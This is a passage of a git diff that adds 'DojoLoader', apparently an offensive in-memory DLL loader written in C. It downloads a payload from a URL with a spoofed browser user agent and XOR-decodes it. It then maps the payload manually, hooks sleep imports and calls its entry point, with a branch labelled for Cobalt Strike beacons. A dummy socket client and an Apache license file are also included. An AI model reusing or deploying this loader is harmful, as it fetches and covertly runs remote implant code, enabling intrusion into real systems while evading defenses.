(lBaseDelta == 0) { + printf("[+] no delta detected from address: %#llx\n", (unsigned long long)DllPayload.startOfMappedPE); + return TRUE; + } + + printf("[+] delta of %lld (%#llx) bytes detected from address: %#llx\n", (unsigned long long)lBaseDelta, (unsigned long long)lBaseDelta, (unsigned long long)DllPayload.startOfMappedPE); + + if (pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == 0 || + pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size == 0) + return TRUE; + + PIMAGE_BASE_RELOCATION pImageBaseRelocation = MakePointer(PIMAGE_BASE_RELOCATION, pMemModule->lpBase, + pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); + + if (pImageBaseRelocation == NULL) { + pMemModule->dwErrorCode = MMEC_INVALID_RELOCATION_BASE; + return FALSE; + } + + while ((pImageBaseRelocation->VirtualAddress + pImageBaseRelocation->SizeOfBlock) != 0) { + PWORD pRelocationData = MakePointer(PWORD, pImageBaseRelocation, sizeof(IMAGE_BASE_RELOCATION)); + int NumberOfRelocationData = (pImageBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + + for (int i = 0; i < NumberOfRelocationData; i++) { + if (IMAGE_REL_BASED_HIGHLOW == (pRelocationData[i] >> 12)) { + PDWORD pAddress = (PDWORD)(pMemModule->iBase + pImageBaseRelocation->VirtualAddress + (pRelocationData[i] & 0x0FFF)); + DWORD oldAddress = *pAddress; + *pAddress += (DWORD)lBaseDelta; + printf("[+] Relocated HIGHLOW at %#llx from %#llx to %#llx\n", (ULONGLONG)pAddress, (ULONGLONG)oldAddress, (ULONGLONG)*pAddress); + } + +#ifdef _WIN64 + if (IMAGE_REL_BASED_DIR64 == (pRelocationData[i] >> 12)) { + PULONGLONG pAddress = (PULONGLONG)(pMemModule->iBase + pImageBaseRelocation->VirtualAddress + (pRelocationData[i] & 0x0FFF)); + ULONGLONG oldAddress = *pAddress; + *pAddress += lBaseDelta; + printf("[+] Relocated DIR64 at %#llx from %#llx to %#llx\n", (ULONGLONG)pAddress, (ULONGLONG)oldAddress, (ULONGLONG)*pAddress); + } +#endif + } + + pImageBaseRelocation = MakePointer(PIMAGE_BASE_RELOCATION, pImageBaseRelocation, pImageBaseRelocation->SizeOfBlock); + } + + return TRUE; +} + + + + + + + +BOOL ResolveImports(PMEM_MODULE pMemModule) { + if (NULL == pMemModule || NULL == pMemModule->pImageDosHeader) + return FALSE; + + PIMAGE_NT_HEADERS pImageNtHeader = + MakePointer(PIMAGE_NT_HEADERS, pMemModule->pImageDosHeader, pMemModule->pImageDosHeader->e_lfanew); + + if (pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress == 0 || + pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size == 0) + return TRUE; + + PIMAGE_IMPORT_DESCRIPTOR pImageImportDescriptor = + MakePointer(PIMAGE_IMPORT_DESCRIPTOR, pMemModule->lpBase, + pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); + + for (; pImageImportDescriptor->Name; pImageImportDescriptor++) { + PCHAR pDllName = MakePointer(PCHAR, pMemModule->lpBase, pImageImportDescriptor->Name); + HMODULE hMod = GetModuleHandleA(pDllName); + if (NULL == hMod) { + hMod = LoadLibraryA(pDllName); + } + if (NULL == hMod) { + pMemModule->dwErrorCode = MMEC_IMPORT_MODULE_FAILED; + return FALSE; + } + + uintptr_t* thunkRef; + FARPROC* funcRef; + + if (pImageImportDescriptor->OriginalFirstThunk) { + thunkRef = MakePointer(uintptr_t*, pMemModule->lpBase, pImageImportDescriptor->OriginalFirstThunk); + funcRef = MakePointer(FARPROC*, pMemModule->lpBase, pImageImportDescriptor->FirstThunk); + } + else { + thunkRef = MakePointer(uintptr_t*, pMemModule->lpBase, pImageImportDescriptor->FirstThunk); + funcRef = MakePointer(FARPROC*, pMemModule->lpBase, pImageImportDescriptor->FirstThunk); + } + + for (; *thunkRef; thunkRef++, funcRef++) { + if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) { + *funcRef = GetProcAddress(hMod, (LPCSTR)IMAGE_ORDINAL(*thunkRef)); + printf("[+] Ordinal: %llu, Address: %p\n", (unsigned long long)IMAGE_ORDINAL(*thunkRef), *funcRef); + } + else { + PIMAGE_IMPORT_BY_NAME thunkData = MakePointer(PIMAGE_IMPORT_BY_NAME, pMemModule->lpBase, (*thunkRef)); + *funcRef = GetProcAddress(hMod, (LPCSTR)&thunkData->Name); + printf("[+] Function Name: %s, Address: %p\n", thunkData->Name, *funcRef); + + // Check if the function should be hooked + if (Configs.SleepHookFunc != NULL) { + if (check_hook((LPCSTR)&thunkData->Name)) { + printf("[+] Hooking function: %s\n", thunkData->Name); + *funcRef = (FARPROC)Configs.SleepHookFunc; + } + } + } + + if (*funcRef == 0) { + pMemModule->dwErrorCode = MMEC_IMPORT_MODULE_FAILED; + return FALSE; + } + printf("[+] Written to IAT at address: %p\n", (void*)funcRef); + } + } + + return TRUE; +} + + + +BOOL SetPermissions(PMEM_MODULE pMemModule) { + if (pMemModule == NULL) + return FALSE; + + int Protections[2][2][2] = { + {{PAGE_NOACCESS, PAGE_WRITECOPY}, {PAGE_READONLY, PAGE_READWRITE}}, + {{PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE}}, + }; + + PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)(pMemModule->lpBase); + + ULONGLONG ulBaseHigh = 0; +#ifdef _WIN64 + ulBaseHigh = (pMemModule->iBase & 0xffffffff00000000); +#endif + + PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pImageDosHeader, pImageDosHeader->e_lfanew); + int nNumberOfSections = pImageNtHeader->FileHeader.NumberOfSections; + PIMAGE_SECTION_HEADER pImageSectionHeader = MakePointer(PIMAGE_SECTION_HEADER, pImageNtHeader, sizeof(IMAGE_NT_HEADERS)); + + for (int idxSection = 0; idxSection < nNumberOfSections; idxSection++) { + DWORD protectFlag = 0; + DWORD oldProtect = 0; + BOOL isExecutable = FALSE; + BOOL isReadable = FALSE; + BOOL isWritable = FALSE; + BOOL isNotCache = FALSE; + + ULONGLONG dwSectionBase = (ULONGLONG)pMemModule->lpBase + pImageSectionHeader[idxSection].VirtualAddress; + + DWORD dwSecionSize = pImageSectionHeader[idxSection].SizeOfRawData; + if (dwSecionSize == 0) + continue; + + DWORD dwSectionCharacteristics = pImageSectionHeader[idxSection].Characteristics; + + if (dwSectionCharacteristics & IMAGE_SCN_MEM_DISCARDABLE) { + VirtualFree((LPVOID)dwSectionBase, dwSecionSize, MEM_DECOMMIT); + continue; + } + + if (dwSectionCharacteristics & IMAGE_SCN_MEM_EXECUTE) + isExecutable = TRUE; + + if (dwSectionCharacteristics & IMAGE_SCN_MEM_READ) + isReadable = TRUE; + + if (dwSectionCharacteristics & IMAGE_SCN_MEM_WRITE) + isWritable = TRUE; + + if (dwSectionCharacteristics & IMAGE_SCN_MEM_NOT_CACHED) + isNotCache = TRUE; + + protectFlag = Protections[isExecutable][isReadable][isWritable]; + if (isNotCache) + protectFlag |= PAGE_NOCACHE; + + if (!VirtualProtect((LPVOID)dwSectionBase, dwSecionSize, protectFlag, &oldProtect)) { + printf("[+] VirtualProtect failed for address: %p, size: %lu (%#llx), permissions: %lu\n", (void*)dwSectionBase, dwSecionSize, (unsigned long long)dwSecionSize, protectFlag); + pMemModule->dwErrorCode = MMEC_PROTECT_SECTION_FAILED; + return FALSE; + } else { + printf("[+] VirtualProtect succeeded for address: %p, size: %lu (%#llx), permissions: %lu\n", (void*)dwSectionBase, dwSecionSize, (unsigned long long)dwSecionSize, protectFlag); + } + } + + return TRUE; +} + + +//--------------------------------------------------------------------------------------------------------------// +// Processes TLS data +BOOL HandleTLS(PMEM_MODULE pMemModule) { + if (pMemModule == NULL || pMemModule->pImageDosHeader == NULL) + return FALSE; + + PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pMemModule->pImageDosHeader, pMemModule->pImageDosHeader->e_lfanew); + IMAGE_DATA_DIRECTORY imageDirectoryEntryTls = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS]; + + if (imageDirectoryEntryTls.VirtualAddress == 0) + return TRUE; + + PIMAGE_TLS_DIRECTORY tls = (PIMAGE_TLS_DIRECTORY)(pMemModule->iBase + imageDirectoryEntryTls.VirtualAddress); + PIMAGE_TLS_CALLBACK* callback = (PIMAGE_TLS_CALLBACK*)tls->AddressOfCallBacks; + + if (callback) { + while (*callback) { + (*callback)((LPVOID)pMemModule->hModule, DLL_PROCESS_ATTACH, NULL); + callback++; + } + } + + return TRUE; +} + + +//--------------------------------------------------------------------------------------------------------------// +// Calls the module entry. +BOOL CallModuleEntry(PMEM_MODULE pMemModule, DWORD dwReason) { + if (pMemModule == NULL || pMemModule->pImageDosHeader == NULL) + return FALSE; + + PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pMemModule->pImageDosHeader, pMemModule->pImageDosHeader->e_lfanew); + Type_DllMain pfnModuleEntry = NULL; + + if (pImageNtHeader->OptionalHeader.AddressOfEntryPoint == 0) { + return FALSE; + } + + pfnModuleEntry = MakePointer(Type_DllMain, pMemModule->lpBase, pImageNtHeader->OptionalHeader.AddressOfEntryPoint); + + if (pfnModuleEntry == NULL) { + pMemModule->dwErrorCode = MMEC_INVALID_ENTRY_POINT; + return FALSE; + } + + printf("[+] Calling entry point at address: %p\n", (void*)pfnModuleEntry); + + + + if (Configs.downloadedBuffer != NULL) { + printf("[+] freeing original opened/downloaded payload at address %p\n", Configs.downloadedBuffer); + free(Configs.downloadedBuffer); + Configs.downloadedBuffer = NULL; // Set pointer to NULL after freeing + } + + + + // execution method for Cobalt Strike 4.9.1 + if(Configs.Beacon){ + pfnModuleEntry(pMemModule->hModule, dwReason, NULL); + return pfnModuleEntry(pMemModule->hModule, 4, NULL); + } + else { + return pfnModuleEntry(pMemModule->hModule, dwReason, NULL); + + } +} + + + +//--------------------------------------------------------------------------------------------------------------// +// Unmaps all the sections. +VOID UnmapModule(PMEM_MODULE pMemModule) { + if (NULL == pMemModule || FALSE == pMemModule->isLoaded || NULL == pMemModule->lpBase) + return; + VirtualFree(pMemModule->lpBase, 0, MEM_RELEASE); + pMemModule->lpBase = NULL; + pMemModule->dwCrc = 0; + pMemModule->dwSizeOfImage = 0; + pMemModule->isLoaded = FALSE; +} + +//--------------------------------------------------------------------------------------------------------------// +// Gets the CRC32 of the data. +UINT32 GetCRC32(UINT32 uInit, void* pBuf, UINT32 nBufSize) { +#define CRC32_POLY 0x04C10DB7L + UINT32 crc = 0; + UINT32 Crc32table[256]; + for (int i = 0; i < 256; i++) { + crc = (UINT32)(i << 24); + for (int j = 0; j < 8; j++) { + if (crc >> 31) + crc = (crc << 1) ^ CRC32_POLY; + else + crc = crc << 1; + } + Crc32table[i] = crc; + } + + crc = uInit; + UINT32 nCount = nBufSize; + PUCHAR p = (PUCHAR)pBuf; + while (nCount--) { + crc = (crc << 8) ^ Crc32table[(crc >> 24) ^ *p++]; + } + + return crc; +} diff --git a/DojoLoader/memloader.h b/DojoLoader/memloader.h new file mode 100644 index 0000000..2228b09 --- /dev/null +++ b/DojoLoader/memloader.h @@ -0,0 +1,67 @@ +#include +#include "structs.h" + +#ifndef MEMLOADER_H +#define SIZE_ARRAY 32 +#endif + + +//global variable offset +extern int offset;// 0x30000; + + + +extern PVOID lpBaseArray[SIZE_ARRAY]; //save addresses that we wrote to, so that we can free +extern SIZE_T TSizeArray[SIZE_ARRAY]; //save sizes of the memory pages we allocated +extern int index; + + +void FreeRawModule(PVOID pDllBytes); + +//--------------------------------------------------------------------------------------------------------------// +// the following 2 functions, are made to add elements in the arrays we have +void AppendTSizeArray(SIZE_T Value); +void AppendlpBaseArray(PVOID Value); + +BOOL LoadModuleInt(PMEM_MODULE pMemModule, LPVOID PEdata, BOOL CallEntryPoint); + +HMEMMODULE LoadMod(LPVOID PEdata, BOOL CallEntryPoint, DWORD* pdwError); + +// Tests the return value and jump to exit label if false. +#define IfFalseGoExitWithError(x, exp) \ + do { \ + if (!(br = (x)) && (exp)) \ + goto _Exit; \ + } while (0) + +// Create a pointer value. +#define MakePointer(t, p, offset) ((t)((PBYTE)(p) + offset)) + +/// True if the data is valid PE format. +BOOL IsPEValid(PMEM_MODULE pMemModule, LPVOID PEdata); + + +// this function here is used to map all the sections +BOOL MapModule(PMEM_MODULE pMemModule, LPVOID PEdata); + +// Relocates the module. +BOOL doRelocations(PMEM_MODULE pMemModule); + +BOOL check_hook(const char* functionName); + +BOOL ResolveImports(PMEM_MODULE pMemModule); +BOOL SetPermissions(PMEM_MODULE pMemModule); + + +// Processes TLS data +BOOL HandleTLS(PMEM_MODULE pMemModule); + + +// Calls the module entry. +BOOL CallModuleEntry(PMEM_MODULE pMemModule, DWORD dwReason); + +//--------------------------------------------------------------------------------------------------------------// +// Unmaps all the sections. +VOID UnmapModule(PMEM_MODULE pMemModule); +// Gets the CRC32 of the data. +UINT32 GetCRC32(UINT32 uInit, void* pBuf, UINT32 nBufSize); diff --git a/DojoLoader/structs.h b/DojoLoader/structs.h new file mode 100644 index 0000000..26ede4d --- /dev/null +++ b/DojoLoader/structs.h @@ -0,0 +1,162 @@ +#pragma once + + +#define MMEC_OK 0 +#define MMEC_BAD_PE_FORMAT 1 +#define MMEC_ALLOCATED_MEMORY_FAILED 2 +#define MMEC_INVALID_RELOCATION_BASE 3 +#define MMEC_IMPORT_MODULE_FAILED 4 +#define MMEC_PROTECT_SECTION_FAILED 5 +#define MMEC_INVALID_ENTRY_POINT 6 +#define MMEC_INVALID_WIN32_ENV 0xff + +/// Enums for MemModuleHelper. +typedef enum _MMHELPER_METHOD { + MHM_BOOL_LOAD, // Call LoadMemModule + MHM_VOID_FREE, // Call FreeMemModule + MHM_FARPROC_GETPROC, // Call GetMemModuleProc +} MMHELPER_METHOD; + +typedef void** HMEMMODULE; + +struct PAYLOAD { + PVOID pDllBytes; + DWORD BytesNumber; + HMEMMODULE Module; + DWORD mappedimagesize; + LPVOID startOfMappedPE; + LPVOID OldstartOfMappedPE; + BYTE* tempPEdatabuffer; + LPVOID execRegionPtr; + DWORD execRegionSize; + +}_PAYLOAD, * PPAYLOAD; + +extern struct PAYLOAD DllPayload; + +typedef void (WINAPI* FuncPtr)(DWORD); + +struct CONFIG { + FuncPtr SleepHookFunc; + char* XorKey; + char SleepXorKey[256]; + BOOL Beacon; + BOOL Sleep_RXRW; + char* downloadedBuffer; +}; + +extern struct CONFIG Configs; + +typedef struct __MEMMODULE_S { + union { +#if _WIN64 + ULONGLONG iBase; +#else + DWORD iBase; +#endif + HMODULE hModule; + LPVOID lpBase; + PIMAGE_DOS_HEADER pImageDosHeader; + }; + DWORD dwSizeOfImage; + DWORD dwCrc; + + + BOOL CallEntryPoint; + BOOL isLoaded; + DWORD dwErrorCode; +} MEM_MODULE, * PMEM_MODULE; + +extern PMEM_MODULE pMemModule; + +extern LPVOID oldbase; + +//--------------------------------------------------------------------------------------------------------------// + + +typedef BOOL(WINAPI* Type_DllMain)(HMODULE, DWORD, LPVOID); + +BOOL LoadModuleInt(PMEM_MODULE pMemModule, LPVOID lpPeModuleBuffer, BOOL bCallEntry); +BOOL IsPEValid(PMEM_MODULE pMemModule, LPVOID lpPeModuleBuffer); +BOOL MapModule(PMEM_MODULE pMemModule, LPVOID lpPeModuleBuffer); +BOOL doRelocations(PMEM_MODULE pMemModule); +BOOL ResolveImports(PMEM_MODULE pMemModule); +BOOL SetPermissions(PMEM_MODULE pMemModule); +BOOL HandleTLS(PMEM_MODULE pMemModule); +BOOL CallEntryPoint(PMEM_MODULE pMemModule, DWORD dwReason); +VOID UnmapModule(PMEM_MODULE pMemModule); +UINT32 GetCRC32(UINT32 uInit, void* pBuf, UINT32 nBufSize); + +//--------------------------------------------------------------------------------------------------------------// + + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING; +typedef UNICODE_STRING* PUNICODE_STRING; +typedef const UNICODE_STRING* PCUNICODE_STRING; + +typedef struct _LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID BaseAddress; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + BOOLEAN Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +#ifdef _WIN64 +typedef struct _PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[21]; + PPEB_LDR_DATA Ldr; + PVOID ProcessParameters; + BYTE Reserved3[520]; + PVOID PostProcessInitRoutine; + BYTE Reserved4[136]; + ULONG SessionId; +} PEB, * PPEB; +#else +typedef struct _PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[1]; + PVOID Reserved3[2]; + PPEB_LDR_DATA Ldr; + LPVOID ProcessParameters; + PVOID Reserved4[3]; + PVOID AtlThunkSListPtr; + PVOID Reserved5; + ULONG Reserved6; + PVOID Reserved7; + ULONG Reserved8; + ULONG AtlThunkSListPtr32; + PVOID Reserved9[45]; + BYTE Reserved10[96]; + LPVOID PostProcessInitRoutine; + BYTE Reserved11[128]; + PVOID Reserved12[1]; + ULONG SessionId; +} PEB, * PPEB; +#endif + +//--------------------------------------------------------------------------------------------------------------// \ No newline at end of file diff --git a/DojoLoader/utils.c b/DojoLoader/utils.c new file mode 100644 index 0000000..2f55f3a --- /dev/null +++ b/DojoLoader/utils.c @@ -0,0 +1,112 @@ +#include +#include +#include +#include "utils.h" +#include "structs.h" + + +#pragma comment(lib, "wininet.lib") + +struct PAYLOAD DllPayload = { 0 }; + +char* DownloadFile(const char* url, DWORD* size) +{ + HINTERNET hInternet, hConnect; + DWORD bytesRead; + + // Initialize WinINet + hInternet = InternetOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); + if (hInternet == NULL) + { + printf("InternetOpen failed (%lu)\n", GetLastError()); + return NULL; + } + + hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0); + if (hConnect == NULL) + { + printf("InternetOpenUrlA failed (%lu)\n", GetLastError()); + InternetCloseHandle(hInternet); + return NULL; + } + + const DWORD bufferSize = 20 * 1024 * 1024; + char* buffer = malloc(bufferSize); + if (buffer == NULL) { + printf("Failed to allocate memory\n"); + return NULL; + } + *size = 0; + while (1) + { + if (!InternetReadFile(hConnect, buffer + *size, 4096, &bytesRead) || bytesRead == 0) + { + break; + } + *size += bytesRead; + if (*size > bufferSize) { + printf("Buffer overflow\n"); + free(buffer); + return NULL; + } + } + printf("[+] Buffer allocated at address: %p\n", buffer); + + Configs.downloadedBuffer = buffer; + + InternetCloseHandle(hConnect); + InternetCloseHandle(hInternet); + + return buffer; +} + +void XORWithKey(char* data, DWORD size, const char* key) +{ + size_t keyLength = strlen(key); + for (DWORD i = 0; i < size; ++i) + { + data[i] ^= key[i % keyLength]; + } +} + +BOOL ReadDllFile(char* FileInput) { + HANDLE hFile; + DWORD FileSize, lpNumberOfBytesRead; + BOOL Succ; + PVOID DllBytes; + + + + hFile = CreateFileA(FileInput, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL); + + if (hFile == INVALID_HANDLE_VALUE) { + DWORD error = GetLastError(); + if (error == ERROR_FILE_NOT_FOUND) { + printf("[!] Dll File Doesnt Exist \n"); + } + else { + printf("[!] ERROR READING FILE [%d]\n", error); + } + system("PAUSE"); + return FALSE; + } + + FileSize = GetFileSize(hFile, NULL); + DllBytes = malloc((SIZE_T)FileSize); + + Succ = ReadFile(hFile, DllBytes, FileSize, &lpNumberOfBytesRead, NULL); + printf("[i] lpNumberOfBytesRead Read ::: %d \n", lpNumberOfBytesRead); + printf("[+] DllBytes :: 0x%0-16p \n", (void*)DllBytes); + if (!Succ) { + printf("[!] ERROR ReadFile [%d]\n", GetLastError()); + system("PAUSE"); + return FALSE; + } + + DllPayload.BytesNumber = lpNumberOfBytesRead; + DllPayload.pDllBytes = DllBytes; + + CloseHandle(hFile); + + return TRUE; +} \ No newline at end of file diff --git a/DojoLoader/utils.h b/DojoLoader/utils.h new file mode 100644 index 0000000..fc0949f --- /dev/null +++ b/DojoLoader/utils.h @@ -0,0 +1,9 @@ +#include +#include +#include "structs.h" +#pragma comment(lib, "wininet.lib") +#pragma once + +char* DownloadFile(const char* url, DWORD* size); +void XORWithKey(char* data, DWORD size, const char* key); +BOOL ReadDllFile(char* FileInput); diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..261eeb9 --- /dev/null +++ b/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/Utils/dummy_socket.c b/Utils/dummy_socket.c new file mode 100644 index 0000000..9b2dbbd --- /dev/null +++ b/Utils/dummy_socket.c @@ -0,0 +1,58 @@ +#include +#include +#include +#include + +#pragma comment(lib, "ws2_32.lib") // Link against the Winsock library + +// build with x86_64-w64-mingw32-gcc socket.c -o socket_program.exe -lws2_32 + +int main() { + WSADATA wsaData; + SOCKET sock; + struct sockaddr_in server; + char recvBuffer[1024]; + int recvSize; + int connectionResult; + + // Initialize Winsock + WSAStartup(MAKEWORD(2,2), &wsaData); + + while(1) { + sock = socket(AF_INET, SOCK_STREAM, 0); + if (sock == INVALID_SOCKET) { + printf("Could not create socket : %d" , WSAGetLastError()); + return 1; + } + + server.sin_addr.s_addr = inet_addr("127.0.0.1"); + server.sin_family = AF_INET; + server.sin_port = htons(81); // Ensure this matches your ncat listening port + + + connectionResult = connect(sock , (struct sockaddr *)&server , sizeof(server)); + if (connectionResult < 0) { + printf("Connect failed with error code : %d" , WSAGetLastError()); + closesocket(sock); + Sleep(3000); + continue; + } + + printf("Connected\n"); + + + recvSize = recv(sock , recvBuffer , sizeof(recvBuffer) , 0); + if(recvSize == SOCKET_ERROR) { + printf("Recv failed with error code : %d" , 